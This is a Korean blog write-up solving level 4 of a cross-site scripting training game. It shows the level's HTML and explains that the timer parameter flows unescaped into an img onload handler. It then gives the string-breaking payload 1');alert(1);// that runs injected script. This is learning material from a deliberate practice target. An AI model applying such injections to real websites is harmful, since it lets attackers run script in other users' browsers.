
<!doctype html> <html> <head> <!-- Internal game scripts/styles, mostly boring stuff --> <script src="/static/game-frame.js"></script> <link rel="stylesheet" href="/static/game-frame-styles.css" /> </head> <body id="level4"> <img src="/static/logos/level4.png" /> <br> <form action="" method="GET"> <input id="timer" name="timer" value="3"> <input id="button" type="submit" value="Create timer"> </form> </form> </body> </html>
코드를 보면 get방식으로 timer변수가 넘어간다.
<!doctype html> <html> <head> <!-- Internal game scripts/styles, mostly boring stuff --> <script src="/static/game-frame.js"></script> <link rel="stylesheet" href="/static/game-frame-styles.css" /> <script> function startTimer(seconds) { seconds = parseInt(seconds) || 3; setTimeout(function() { window.confirm("Time is up!"); window.history.back(); }, seconds * 1000); } </script> </head> <body id="level4"> <img src="/static/logos/level4.png" /> <br> <img src="/static/loading.gif" onload="startTimer('{{ timer }}');" /> <br> <div id="message">Your timer will execute in {{ timer }} seconds.</div> </body> </html>
timer소스 코드를 봐보자.
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
이부분을 조작하면 문제를 풀수있을 것 같다.
{timer}가 변수로 입력되는걸 확인했으니 timer에 조작된 값을 넣어주도록 하자
1');alert(1);//

'Write-Up > XSS-game' 카테고리의 다른 글
[XSS game] xss-game level 6 (0) | 2021.01.26 |
---|---|
[XSS game] xss-game level 5 (0) | 2021.01.26 |
[XSS game] xss-game level 3 (0) | 2021.01.26 |
[XSS game] xss-game level 2 (0) | 2021.01.26 |
[XSS game] xss-game level 1 (0) | 2021.01.26 |